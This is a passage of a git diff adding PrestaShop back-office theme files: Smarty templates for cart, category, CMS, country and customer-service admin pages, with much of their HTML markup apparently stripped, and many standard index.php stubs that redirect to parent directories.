{l s='Total:'}{displayWtPriceWithCurrency price=$total_price currency=$currency}
+ + {if $discounts} + + + + + + {foreach from=$discounts item='discount'} + + + + + {/foreach} +
{l s='Discounts'}{l s='Discount name'}{l s='Value'}
{$discount.name}- {displayWtPriceWithCurrency price=$discount.value_real currency=$currency}
+ {/if} +
+ {l s='For this particular customer group, prices are displayed as:'} {if $order->getTaxCalculationMethod() == $smarty.const.PS_TAX_EXC}{l s='Tax excluded'}{else}{l s='Tax included'}{/if} +
+ +
 
+{/block} + +
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/carts/index.php b/BO/themes/default/template/controllers/carts/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/carts/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/categories/helpers/form/form.tpl b/BO/themes/default/template/controllers/categories/helpers/form/form.tpl new file mode 100755 index 0000000..cfc2cf8 --- /dev/null +++ b/BO/themes/default/template/controllers/categories/helpers/form/form.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="input"} + {if $input.type == 'file'} + {if isset($input.display_image) && $input.display_image} + {if isset($fields_value.image) && $fields_value.image} +
+ {$fields_value.image} +

{l s='File size'} {$fields_value.size}kb

+ {if $shared_category} +

{l s='If you delete this picture, it will be deleted in all of your shared shops!'}

+ {/if} +
+ + {l s='Delete'} {l s='Delete'} + +

+ {/if} + {/if} + + {if !empty($input.hint)}{$input.hint} {/if} + {else} + {$smarty.block.parent} + {/if} +{/block} +{block name="input"} + {if $input.name == "link_rewrite"} + + {$smarty.block.parent} + {else} + {$smarty.block.parent} + {/if} +{/block} +{block name="description"} + {$smarty.block.parent} + {if ($input.name == 'groupBox')} +

+ {$input.info_introduction}
+ {$input.unidentified}
+ {$input.guest}
+ {$input.customer}
+

+ {/if} +{/block} diff --git a/BO/themes/default/template/controllers/categories/helpers/form/index.php b/BO/themes/default/template/controllers/categories/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/categories/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/categories/helpers/index.php b/BO/themes/default/template/controllers/categories/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/categories/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/categories/helpers/list/index.php b/BO/themes/default/template/controllers/categories/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/categories/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/categories/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/categories/helpers/list/list_header.tpl new file mode 100755 index 0000000..80bf431 --- /dev/null +++ b/BO/themes/default/template/controllers/categories/helpers/list/list_header.tpl @@ -0,0 +1,91 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} + +{block name=leadin} +
+ {assign var=i value=0} + {foreach $categories_tree key=key item=category} + {if $i++ == 0} +   + {assign var=params_url value=""} + {else} + {assign var=params_url value="&id_category={$category.id_category}&viewcategory"} + {/if} + {if $key == 0} + {$category.name} + {else} + {$category.name} >  + {/if} + {/foreach} +
+ {if isset($delete_category) && $delete_category} +
+
+

+ {if $need_delete_mode} + {l s='Do you want to delete the products too?'} + {else} + {l s='Deleting this category will remove products linked only within this category and no others. Are you sure you want to continue?'} + {/if} +

+ {if $need_delete_mode} +
    +
  • + + +
  • +
  • + + +
  • +
  • + + +
  • +
+ {else} + + {/if} + {foreach $POST as $key => $value} + {if $key != 'deleteMode'} + {if is_array($value)} + {foreach $value as $val} + + {/foreach} + {else} + + {/if} + {/if} + {/foreach} +
+ + +
+
+
 
+ {/if} +{/block} diff --git a/BO/themes/default/template/controllers/categories/index.php b/BO/themes/default/template/controllers/categories/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/categories/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms/helpers/form/form.tpl b/BO/themes/default/template/controllers/cms/helpers/form/form.tpl new file mode 100755 index 0000000..225f3b3 --- /dev/null +++ b/BO/themes/default/template/controllers/cms/helpers/form/form.tpl @@ -0,0 +1,90 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} +{block name="input"} + {if $input.name == "link_rewrite"} + + {$smarty.block.parent} + {else} + {$smarty.block.parent} + {/if} +{/block} +{block name="script"} + $(document).ready(function() { + if (btn_submit.length > 0) + { + //get reference on save and stay link + btn_save_and_preview = $('span[class~="process-icon-save-and-preview"]').parent(); + + //get reference on current save link label + lbl_save = $('#desc-{$table}-save div'); + + //submit the form + if (btn_save_and_preview) + { + btn_save_and_preview.click(function() { + //add hidden input to emulate submit button click when posting the form -> field name posted + btn_submit.before(''); + $('#{$table}_form').submit(); + }); + } + } + $('#active_on').bind('click', function(){ + toggleDraftWarning(false); + }); + $('#active_off').bind('click', function(){ + toggleDraftWarning(true); + }); + }); +{/block} + +{block name="leadin"} +
+

+ + {l s='Your CMS page will be saved as a draft'} + +
+

+
+{/block} + +{block name="input"} + {if $input.type == 'select_category'} + + {else} + {$smarty.block.parent} + {/if} +{/block} + diff --git a/BO/themes/default/template/controllers/cms/helpers/form/index.php b/BO/themes/default/template/controllers/cms/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/cms/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms/helpers/index.php b/BO/themes/default/template/controllers/cms/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/cms/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms/index.php b/BO/themes/default/template/controllers/cms/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/cms/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms_categories/helpers/form/form.tpl b/BO/themes/default/template/controllers/cms_categories/helpers/form/form.tpl new file mode 100755 index 0000000..a61506b --- /dev/null +++ b/BO/themes/default/template/controllers/cms_categories/helpers/form/form.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} +{block name="input"} + {if $input.name == "link_rewrite"} + + {$smarty.block.parent} + {else} + {$smarty.block.parent} + {/if} +{/block} +{block name="input"} + {if $input.type == 'select_category'} + + {else} + {$smarty.block.parent} + {/if} +{/block} + diff --git a/BO/themes/default/template/controllers/cms_categories/helpers/form/index.php b/BO/themes/default/template/controllers/cms_categories/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/cms_categories/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms_categories/helpers/index.php b/BO/themes/default/template/controllers/cms_categories/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/cms_categories/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms_categories/index.php b/BO/themes/default/template/controllers/cms_categories/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/cms_categories/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms_content/content.tpl b/BO/themes/default/template/controllers/cms_content/content.tpl new file mode 100755 index 0000000..4e4a947 --- /dev/null +++ b/BO/themes/default/template/controllers/cms_content/content.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($cms_breadcrumb)} +
+ {l s='Current category'} :   {$cms_breadcrumb} +
+{/if} + +{$content} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/cms_content/index.php b/BO/themes/default/template/controllers/cms_content/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/cms_content/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/countries/helpers/form/form.tpl b/BO/themes/default/template/controllers/countries/helpers/form/form.tpl new file mode 100755 index 0000000..14ecde6 --- /dev/null +++ b/BO/themes/default/template/controllers/countries/helpers/form/form.tpl @@ -0,0 +1,115 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="field"} + {if $input.type == 'address_layout'} +
+
+ +
+
+ {l s='Required fields for the address (click for more details):'} {$input.display_valid_fields} +
+
+ +
+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name=script} + + $(document).ready(function() { + + $('.availableFieldsList').css("display", "none"); + + $('.addPattern').click(function() { + addFieldsToCursorPosition($(this).attr("id")) + lastLayoutModified = $("#ordered_fields").val(); + }); + + $('#ordered_fields').keyup(function() { + lastLayoutModified = $(this).val(); + }); + + $('#useLastDefaultLayout').mouseover(function() { + switchExplanationText("{l s='This will restore your last registered address format.'}"); + }); + + $('#useDefaultLayoutSystem').mouseover(function() { + switchExplanationText("{l s='This will restore the default address format for this country.'}"); + }); + + $('#useCurrentLastModifiedLayout').mouseover(function() { + switchExplanationText("{l s='This will restore your current address format.'}"); + }); + + $('#eraseCurrentLayout').mouseover(function() { + switchExplanationText("{l s='This will delete the current address format'}"); + }); + + $('#need_zip_code_on, #need_zip_code_off').change(function() { + disableZipFormat(); + }); + + }); + + function switchExplanationText(text) { + $("#explanationText").fadeOut("fast", function() { + $(this).html(text); + $(this).fadeIn("fast"); + }); + } + + function addFieldsToCursorPosition(pattern) { + $("#ordered_fields").replaceSelection(pattern + " "); + } + + function displayAvailableFields(containerName) { + $(".availableFieldsList").each( function () { + if ($(this).attr('id') != 'availableListFieldsFor_'+containerName) + $(this).slideUp(); + }); + $("#availableListFieldsFor_" + containerName).slideToggle(); + } + + function resetLayout(defaultLayout, type) { + if (confirm("{l s='Are you sure you want to restore the default address format for this country?' js=1}")) + $("#ordered_fields").val(unescape(defaultLayout.replace(/\+/g, " "))); + } + +{/block} diff --git a/BO/themes/default/template/controllers/countries/helpers/form/index.php b/BO/themes/default/template/controllers/countries/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/countries/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/countries/helpers/index.php b/BO/themes/default/template/controllers/countries/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/countries/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/countries/helpers/list/index.php b/BO/themes/default/template/controllers/countries/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/countries/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/countries/helpers/list/list_footer.tpl b/BO/themes/default/template/controllers/countries/helpers/list/list_footer.tpl new file mode 100755 index 0000000..57a2e93 --- /dev/null +++ b/BO/themes/default/template/controllers/countries/helpers/list/list_footer.tpl @@ -0,0 +1,106 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + {if $bulk_actions} +

+ {if $bulk_actions|count > 1} + + + {else} + {foreach $bulk_actions as $key => $params} + {if $key == 'affectzone'} + + {/if} + + {/foreach} + {/if} +

+ {/if} + + + + + + + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/countries/index.php b/BO/themes/default/template/controllers/countries/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/countries/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/index.php b/BO/themes/default/template/controllers/customer_threads/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/list/index.php b/BO/themes/default/template/controllers/customer_threads/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/customer_threads/helpers/list/list_header.tpl new file mode 100755 index 0000000..9d6f43e --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/list/list_header.tpl @@ -0,0 +1,101 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} + +{block name="override_header"} + +
+ + {assign var=nb_categories value=count($categories)} + + {foreach $categories as $key => $val} + + {assign var=total_thread value=0} + {assign var=id_customer_thread value=0} + + {foreach $contacts as $tmp => $tmp2} + {if $val.id_contact == $tmp2.id_contact} + + {assign var=total_thread value=$tmp2.total} + {assign var=id_customer_thread value=$tmp2.id_customer_thread} + + {/if} + {/foreach} + +
+ +

{$val.name}

+ + {if $nb_categories < 6} +

{$val.description}

+ {/if} + + {if $total_thread == 0} + {l s='No new messages'} + {else} + + {$total_thread} + {if $total_thread > 1}{l s='New messages'}{else}{l s='New message'}{/if} + + {/if} +
+ {/foreach} + +
+

 {l s='Meaning of status'}

+
    +
  • {l s='Open'}{l s='Open'}
  • +
  • {l s='Closed'}{l s='Closed'}
  • +
  • {l s='Pending 1'}{l s='Pending 1'}
  • +
  • {l s='Pending 2'}{l s='Pending 2'}
  • +
+
+ +
+ + + + + + + + {assign var=count value=0} + {foreach $params as $key => $val} + {assign var=count value=$count+1} + + + + + {/foreach} + +
{l s='Customer service'} : {l s='Statistics'}
{$key}{$val}
+
+ +
+ +

 

+ +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/options/index.php b/BO/themes/default/template/controllers/customer_threads/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/customer_threads/helpers/options/options.tpl b/BO/themes/default/template/controllers/customer_threads/helpers/options/options.tpl new file mode 100755 index 0000000..2c25963 --- /dev/null +++ b/BO/themes/default/template/controllers/customer_threads/helpers/options/options.tpl @@ -0,0 +1,92 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy 